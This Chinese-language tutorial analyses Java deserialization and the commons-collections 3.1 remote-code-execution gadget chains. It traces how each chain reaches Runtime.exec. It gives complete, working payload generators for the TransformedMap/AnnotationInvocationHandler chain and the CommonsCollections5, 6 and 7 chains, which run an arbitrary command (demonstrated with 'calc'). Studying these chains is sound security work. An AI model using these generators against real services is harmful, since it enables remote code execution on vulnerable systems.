序列化
要了解反序列化漏洞,首先要对java的序列化有一定的了解。
java 可以将一个对象序列化成 JVM 认识的字节序列,这个字节序列里包含了该对象的数据,主要以对象属性为主。
当你再 A 平台序列化出的对象,在 B 平台上反序列化出来同样的对象。
序列化一个对象
被序列化的类必须要实现 Serializable 接口,否则将无法序列化对象。
public class Person implements Serializable{
public String name;
public int length;
}
public class Main {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.length = 18;
person.name = "blue";
PrintStream out = System.out;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);
objectOutputStream.writeObject(person);
objectOutputStream.flush();
objectOutputStream.close();
}
}
序列化对象时使用对象输出流“ObjectOutputStream”,往指定输出流里写入 person 对象,这里我用的是控制台,可以直观的看到对象序列化后的样子。
simple.Person Ɨ I lengthL namet Ljava/lang/String;xp t blue
这堆“乱码”就是序列化的内容了,懂 Java 的人可以看出来除了,类名,属性,和属性值以外还有 JNI 字段描述符,一眼基本上可以看出个大概来。
反序列化
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/25 17:15
*/
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.length = 18;
person.name = "blue";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(person);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
System.out.println(o);
}
}
为保证完整性,这里我将对象序列化成byte数组。再用“ObjectInputStream”反序列化回来。
输出这个反序列化后的对象,和我们一开始给 person 对象设定的属性值完全一样。
其实在最后 readObject() 那一步调用的同时,会调用 person 对象的 readObject() 方法。
public class Person implements Serializable{
public String name;
public int length;
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", length=" + length +
'}';
}
private void readObject(java.io.ObjectInputStream in)throws IOException,ClassNotFoundException
{
Runtime.getRuntime().exec("calc");
}
}
Person 类写一个 readObject 方法上去,当对象被反序列化的时候,该方法就会被调用。
漏洞在哪儿?
理论上来说这样并不能构成漏洞,因为你序列化的仅仅只是对象的属性,并不能控制方法里的代码。那漏洞从何而来?
这里就要讲一下大家在总结 Java 反序列化漏洞时经常举的例子 “commons-collections-3.1反序列化漏洞”
这是 Apache 的一个开源工具包,被很多项目所依赖,如果使用了这个版本的 jar 包,正好又有反序列化漏洞,那就可以做到任意命令执行。
commons-collections-3.1反序列化漏洞
老规矩,先复现,再分析。
复现
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
使用 maven 下载依赖。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/25 17:11
*/
public class SerRce {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
管他看懂看不懂,先执行一遍再说。
在 exec 方法处下个断点,可以看到调用栈。
分析
从上面的代码得知,是因为最终遍历了“outerMap”这个Map对象的 Entry 集合,然后执行了 Entry 对象的的 setValue 方法导致执行了反射链。
所以先看这个 Map 的实现类 。
文中调用了一个静态方法org.apache.commons.collections.map.TransformedMap#decorate
,这个静态方法又去new了一个TransformedMap对象。map传入的是一个普通的数据,valueTransformer则是构造的调用链。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
TransformedMap
是一个 Map 接口实现类。它继承了AbstractInputCheckedMapDecorator
,
AbstractInputCheckedMapDecorator
继承了 AbstractMapDecorator
,最后实现 Map 接口。
对象被实例化成功后,依次又调用了4个方法
- entrySet()
- iterator()
- next()
- setValue()
先来看 entrySet() 方法,TransformedMap
类没用,所以去父类里找。
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}
这里去new 了一个内部类 org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySet#EntrySet
EntrySet
类中有一个iterator
方法,也就是第二步被调用的。
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
}
这里又new了一个内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.EntrySetIterator#EntrySetIterator
这个类里的 next()
方法,也就是第三步被调用的。
同样,又new了一个内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry
里面有最后一步被调用的 setValue() 方法。
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
在 setValue
的第一行去调用了 checkSetValue
方法。
实际上调用的是 org.apache.commons.collections.map.TransformedMap#checkSetValue
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
这里去调用了 valueTransformer
属性的 transform()
方法。
而 valueTransformer
正是我传入的调用链。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
在这部分代码中,transformerChain 变量就是我的调用链。
它在构造方法里传入了一个Transformer类型的数组,这个数组里包含了 ConstantTransformer
和 InvokerTransformer
两种类型的对象,他们均实现了 Transformer
接口。
现在来看 transformerChain
的 transform
方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里循环调用数组每一个对象的transform方法,并传入object对象,再将执行结果赋值给object对象。
调用链中InvokerTransformer
这个类同样实现了transform
方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
意思就是把构造参数传进来的方法名、参数类型、参数值,通过反射去调用一遍。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
所以这段代码意思就很明了了。
就是通过反射去调用Runtime.getRuntime().exec("calc.exe")
总结一下,这个对象是可以被反序列化,但并不会在反序列化时触发调用链,而是要经过迭代器迭代并且使用 setValue() 方法才行,正常情况下基本不会有这种场景。
不过既然被爆存在漏洞,一定有解决办法。
网上给出的办法是使用 JDK 的 sun.reflect.annotation.AnnotationInvocationHandler
类。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
他的 readObject 方法里去遍历的 memberValues
这个成员变量,并且需要被调用的方法通通被调用了。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
不过由于这个类是被保护的,所以需要用反射的方式来实例化。
最后给出完整代码。
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/25 17:15
*/
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(instance);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
System.out.println(o);
}
}
这里需要注意的一点是,这个地方对jdk 1.7 有效,jdk1.8 就没有执行。
原因是 jdk1.7 和 jdk1.8 AnnotationInvocationHandler
的 readObject 方法不同。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
对比会发现最主要的 setValue 方法没有被调用。
给 jdk 1.8续命
通过 Java 反序列化 Payload 生成神器 ysoserial 测试发现。
CommonsCollections5 CommonsCollections6 CommonsCollections7 是可以在 jdk 1.8 上执行命令的
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
在 CommonsCollections5 payload生成类中有这样一段注释。
上面标明了 Gadget 链,需要包含的依赖,和 JDK 版本。
CommonsCollections5
这个 payload 主要用到了 JDK 的 BadAttributeValueExpException
异常类。
我先给出我用来生成 payload 的代码。
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/6/25 17:11
*/
public class SerRce {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}
public static void main(String[] args) throws Exception {
BadAttributeValueExpException calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
}
}
这个漏洞是在 LazyMap 的 get() 方法被调用时触发的。
先来尝试运行一个 demo
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map lazyMap = LazyMap.decorate(map, transformerChain);
lazyMap.get("foo");
前面的调用链没有什么变化,问题出在 LazyMap 上。
这里 org.apache.commons.collections.map.LazyMap#decorate(java.util.Map, org.apache.commons.collections.Transformer)
new 了一个 LazyMap 对象。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key); // 这是重点
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
它的 get() 方法在 map 中不包含参数 key 时会去调用 factory 工厂变量的 transform() 方法,开始了调用链执行。
漏洞产因知道了,触发条件就是自动调用 LazyMap.get()。
正好 org.apache.commons.collections.keyvalue.TiedMapEntry
这个类符合条件。
它有一个 map 属性,会在 toString() 、hashCode() 的时候去调用 getValue() 方法,getValue 方法又会去调用 map 属性的 get() 方法。
public Object getValue() {
return this.map.get(this.key);
}
所以可以这样构造
final String[] execArgs = new String[] { "calc" };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
当执行了以下方法时就会被触发
entry.toString();
entry.hashCode();
System.out.println(entry);
这种场景还是很比较常见的,但还是不能完美的做到在反序列化的时候触发。
在 JDK 1.8 的 BadAttributeValueExpException
异常类正好符合所有条件。
看一下他是怎么做到自动触发的。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
在反序列化的时候 会去调用 valObj 变量的 toString 方法
valObj 是当前对象的 val 属性。
根据我刚才给出的 payload 生成代码,可以构造出一个符合要求的 BadAttributeValueExpException ,当该对象被反序列化时就会自动执行命令。
CommonsCollections6
public static Serializable getHashSet(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
Serializable calc = getHashSet("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
问题出在 HashSet 反序列化的时候。
这个过程就比较繁杂了,我直接放上一个调用栈。
之前提到过 TiedMapEntry
这个类一旦被调用了 hashCode 方法就会触发。
是在 put:611, HashMap (java.util)
这里发生的,反序列化时添加数据会对 Key 进行一次 hash 运算,其中调用了 hashCode 方法
CommonsCollections7
CommonsCollections7 也是可以在 jdk1.8 平台上执行的。
这里给出我生成 payload 的代码。
public static Hashtable getHashtable(final String command) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
public static void main(String[] args) throws Exception {
Hashtable calc = getHashtable("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
关键点在 Hashtable
,在 Hashtable
的 readObject
方法里有这样一段代码
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
他去遍历了 hashtable 的元素并执行了 reconstitutionPut() 方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 关键代码
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
在 for 循环里的 if 表达式中他调用了 Entry 键对象的 equals 方法
LazyMap 里没有 equals
, 所以到了AbstractMapDecorator
的 equals
方法里。
这里他判断如果 equals() 方法传来的对象和当前对象不相等则调用 map 属性的 equals
map 是个 hashmap 它去调用了 abstractMap 的方法
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) //在这一步调用了 lazyMap 的 get 方法
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key); //触发漏洞
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}